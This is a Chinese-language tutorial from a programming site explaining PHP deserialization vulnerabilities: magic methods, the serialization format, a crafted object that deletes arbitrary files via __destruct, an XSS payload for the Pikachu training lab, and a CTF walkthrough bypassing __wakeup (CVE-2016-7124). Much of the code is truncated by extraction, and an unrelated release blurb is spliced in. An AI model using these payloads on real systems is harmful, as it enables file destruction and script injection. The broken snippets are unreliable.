跳转到主内容
新派编程网 - 新潮编程理念,全新技术课堂!

详细解析PHP反序列化漏洞

本篇文章给大家带来了关于 php 的相关知识,其中主要介绍了关于反序列化漏洞的相关问题,包括了 php 面向对象编程、序列化与反序列化、反序列化漏洞原理等等内容,希望对大家有帮助。 推荐学习:《 PHP视频教程 》 一、PHP面向对象编程 在 面向对象的程序设计 (Object-oriented programming,OOP)中, 对象 是一个 由信息及对信息进行处理的描述 所组成的整体,是对现实世界的抽象。 立即学习 “ PHP免费学习笔记(深入) ”; 类 是一个 共享相同结构和行为的对象 的集合。每个类的定义都以关键字class开头,后面跟着类的名字。 创建一个PHP类:
variable; } } //创建一个对象 $object = new TestClass(); //调用一个方法 $object->PrintVariable(); ?>
public、protected、private PHP 对属性或方法的 访问控制 ,是通过在前面添加 关键字 public(公有),protected(受保护)或 private(私有)来实现的。 public(公有):公有的类成员可以在 任何地方被访问 。 protected(受保护):受保护的类成员则可以 被其自身以及其子类和父类访问 。 private(私有):私有的类成员则 只能被其定义所在的类访问 。 注意: 访问控制修饰符不同 ,序列化后属性的长度和属性值会有所不同,如下所示: public:属性被序列化的时候属性值会变成
属性名
protected:属性被序列化的时候属性值会变成
\x00*\x00属性名
private:属性被序列化的时候属性值会变成
\x00类名\x00属性名
其中:
\x00
表示 空字符 ,但是还是占用一个字符位置(空格),如下例
id = 'Hardworking666'; $this->gender = 'male'; $this->age = '18'; }}$a = new People();echo serialize($a);?>
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}
魔术方法(magic函数) PHP中把以 两个下划线
__
开头的方法称为 魔术方法 (Magic methods) PHP官方——魔术方法 PHP中16 个魔术方法详解 类可能会包含一些特殊的函数:magic函数,这些函数在某些情况下会 自动调用 。
__construct() //类的构造函数,创建对象时触发 __destruct() //类的析构函数,对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义 __set() //在给不可访问属性赋值时触发 __isset() //当对不可访问属性调用 isset() 或 empty() 时触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当尝试以调用函数的方式调用一个对象时触发 __sleep() //执行serialize()时,先会调用这个方法 __wakeup() //执行unserialize()时,先会调用这个方法 __toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。 我们需要重点关注一下5个魔术方法,所以再强调一下:
__construct
:构造函数,当一个对象 创建 时调用
__destruct
:析构函数,当一个对象 被销毁 时调用
__toString
:当一个对象 被当作一个字符串 时使用
__sleep
:在对象 序列化 的时候调用
__wakeup
:对象重新醒来,即 由二进制串重新组成一个对象 的时候(在一个对象被 反序列化 时调用) 从序列化到反序列化这几个函数的执行过程是:
__construct()
->
__sleep()
->
__wakeup()
->
__toString()
->
__destruct()
variable.'
'; } //构造函数 public function __construct() { echo '__construct
'; } //析构函数 public function __destruct() { echo '__destruct
'; } //当对象被当作一个字符串 public function __toString() { return '__toString
'; } } //创建一个对象 //__construct会被调用 $object = new TestClass(); //创建一个方法 //‘This is a string’将会被输出 $object->PrintVariable(); //对象被当作一个字符串 //toString会被调用 echo $object; //php脚本要结束时,__destruct会被调用 ?>
输出结果:
__construct This is a string __toString __destruct
__toString()
这个魔术方法能触发的因素太多,所以有必要列一下:
1. echo($obj)/print($obj)打印时会触发 2. 反序列化对象与字符串连接时 3. 反序列化对象参与格式化字符串时 4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 5. 反序列化对象参与格式化SQL语句,绑定参数时 6. 反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等 7. 在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用 8. 反序列化的对象作为class_exists()的参数的时候
魔术方法在反序列化攻击中的作用 反序列化的入口在
unserialize()
,只要 参数可控并且这个类在当前作用域存在 ,就能传入任何已经序列化的对象,而不是局限于出现
unserialize()
函数的类的对象。 如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。 但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以 利用反序列化中的对象属性来操控一些能利用的函数 ,达到攻击的目的。 通过下例理解魔术方法在反序列漏洞中的作用,代码如下: 二、PHP序列化和反序列化 PHP序列化 有时需要把一个对象在网络上传输,为了方便传输,可以 把整个对象转化为二进制串 ,等到达另一端时,再还原为原来的对象,这个过程称之为 串行化 (也叫 序列化 )。 json数据使用
,
分隔开,数据内使用
:
分隔 键 和 值 json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过
json_decode()
得到原数据, 这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。 有两种情况必须把对象序列化: 把一个对象 在网络中传输 把对象 写入文件或数据库 相关概念可以参考我以前的文章: Python序列化与反序列化详解(包括json和json模块详解) PHP序列化:把对象转化为二进制的 字符串 ,使用
serialize()
函数 PHP反序列化:把对象转化的二进制字符串再转化为 对象 ,使用
unserialize()
函数 通过例子来看 PHP序列化后 的格式:
name.' is '.$this->age.' years old.
'; } // “.”表示字符串连接 } //创建一个对象 $usr = new User(); //设置数据 $usr->age = 18; $usr->name = 'Hardworking666'; //输出数据 $usr->printdata(); //输出序列化后的数据 echo serialize($usr) ?>
输出结果:
User Hardworking666 is 18 years old. O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
下面的
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
就是对象user序列化后的形式。 “O”表示 对象 ,“4”表示 对象名长度为4 ,“User”为 对象名 ,“2”表示 有2个参数 。 “{}”里面是参数的key和value, “s”表示 string对象 ,“3”表示 长度 ,“age”则为 key ;“i”是interger( 整数 )对象,“18”是value,后面同理。 PHP 8.5.5 PHP 8.5.5 是 PHP 8.5 分支的维护更新版本。该版本延续了“小步快跑”的迭代逻辑,通过深度错误修复、底层性能微调以及安全加固,旨在为开发者提供一个更健壮、更高效的运行环境。该版本严格遵守语义化版本规范,不包含破坏性变更。 下载 序列化格式:
a - array 数组型 b - boolean 布尔型 d - double 浮点型 i - integer 整数型 o - common object 共同对象 r - objec reference 对象引用 s - non-escaped binary string 非转义的二进制字符串 S - escaped binary string 转义的二进制字符串 C - custom object 自定义对象 O - class 对象 N - null 空 R - pointer reference 指针引用 U - unicode string Unicode 编码的字符串
PHP序列化需注意以下几点: 1、 序列化只序列属性,不序列方法 2、因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类 要在当前作用域存在的条件 3、我们能控制的只有类的属性,攻击就是寻找合适 能被控制的属性 ,利用作用域本身存在的方法,基于属性发动攻击 PHP反序列化 对上例进行反序列化:
name.' is '.$this->age.' years old.
'; } } //重建对象 $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}'); //输出数据 $usr->printdata(); ?>
User Hardworking666 is 18 years old.
_sleep
方法在一个对象被序列化时调用,
_wakeup
方法在一个对象被反序列化时调用
variable.'
'; } public function __construct() { echo '__construct'.'
'; } public function __destruct() { echo '__destruct'.'
'; } public function __wakeup() { echo '__wakeup'.'
'; } public function __sleep() { echo '__sleep'.'
'; return array('variable','variable2'); }}//创建一个对象,回调用__construct$object = new test(); //序列化一个对象,会调用__sleep$serialized = serialize($object); //输出序列化后的字符串print 'Serialized:'.$serialized.'
'; //重建对象,会调用__wakeup$object2 = unserialize($serialized); //调用printvariable,会输出数据(变量反序列化后都要销毁)$object2->printvariable(); //脚本结束,会调用__destruct?>
__construct __sleep Serialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}__wakeup 变量反序列化后都要销毁 __destruct __destruct
从序列化到反序列化这几个函数的执行过程是:
__construct()
->
__sleep
->
__wakeup()
->
__toString()
->
__destruct()
PHP为何要序列化和反序列化 PHP的序列化与反序列化其实是为了解决一个问题: PHP对象传递问题 PHP对象是存放在 内存的堆空间段 上的,PHP文件在 执行结束的时候会将对象销毁 。 如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化 从上文可以发现,我们可以 把一个实例化的对象长久的存储在计算机磁盘 上,需要调用的时候只需反序列化出来即可使用。 三、PHP反序列化漏洞原理 序列化和反序列化本身没有问题, 但是 反序列化内容用户可控 , 且 后台不正当的使用了PHP中的魔法函数 ,就会导致安全问题。 当传给
unserialize()
的 参数可控 时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。 调用__destruct删除 存在漏洞的思路:一个类用于临时将日志储存进某个文件,当
__destruct
被调用时,日志文件将会被删除:
//logdata.php'; file_put_contents($this->filename,$text,FILE_APPEND); } //destrcuctor 删除日志文件 public function __destruct() { echo '__destruct deletes '.$this->filename.'file.
'; unlink(dirname(__FILE__).'/'.$this->filename); }}?>
调用这个类:
name.' is'.$this->age.' years old.
'; }}//重建数据$usr = unserialize($_GET['usr_serialized']);?>
代码
$usr = unserialize($_GET['usr_serialized']);
中的
$_GET[‘usr_serialized’]
是可控的,那么可以构造输入,删除任意文件。 如构造输入删除目录下的index.php文件:
filename = 'index.php'; echo serialize($object).'
'; ?>
上面展示了由于输入可控造成的
__destruct
函数删除任意文件,其实问题也可能存在于
__wakeup
、
__sleep
、
__toString
等其他magic函数。 比如,某用户类定义了一个
__toString
,为了让应用程序能够将类作为一个字符串输出(
echo $object
),而且其他类也可能定义了一个类允许
__toString
读取某个文件。 XSS(跨站脚本攻击)攻击 XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法 注入恶意指令代码到网页 ,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 例如,皮卡丘靶场PHP反序列化漏洞
$html="; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="

错误输出

"; }else{ $html.="

{$unser->test)

"; }
为了执行
,Payload:
O:1:"S":1:{s:4:"test";s:29:"";}
其他知识点:
unserialize
漏洞 依赖条件 : 1、unserialize函数的参数可控 2、脚本中存在一个构造函数(
__construct()
)、析构函数(
__destruct()
)、
__wakeup()
函数中有向PHP文件中写数据的操作类 3、所写的内容需要有对象中的成员变量的值 防范方法 : 1、严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则 2、对于unserialize后的变量内容进行检查,以确定内容没有被污染 四、实例 PHP反序列化绕过__wakeup() CTF例题 攻防世界xctf web unserialize3 打开网址后的代码:
class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=
已知在使用
unserialize()
反序列化时会先调用
__wakeup()
函数, 而本题的关键就是如何 绕过
__wakeup()
函数,就是 在反序列化的时候不调用它 当 序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过
__wakeup()
代码中的
__wakeup()
方法如果使用就是和
unserialize()
反序列化函数结合使用的 这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化。 我们利用php中的new运算符,实例化类xctf。 new 是申请空间的操作符,一般用于类。 比如定义了一个
class a{public i=0;}
$c = new a();
相当于定义了一个基于a类的对象,这时候
$c->i
就是0 构造序列化的代码在编辑器内执行:
运行结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化返回的字符串格式:
O::""::{...}
O
:表示序列化的是对象
:表示序列化的类名称长度
:表示序列化的类的名称
:表示被序列化的对象的属性个数
:属性名
:属性值 所以要修改 属性值
,既把1改为2以上。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在url中输入:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e} 漏洞:
__wakeup
绕过(CVE-2016-7124124) CVE-2016-7124124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 官方给出的影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10 推荐学习:《 PHP教程 》

相关文章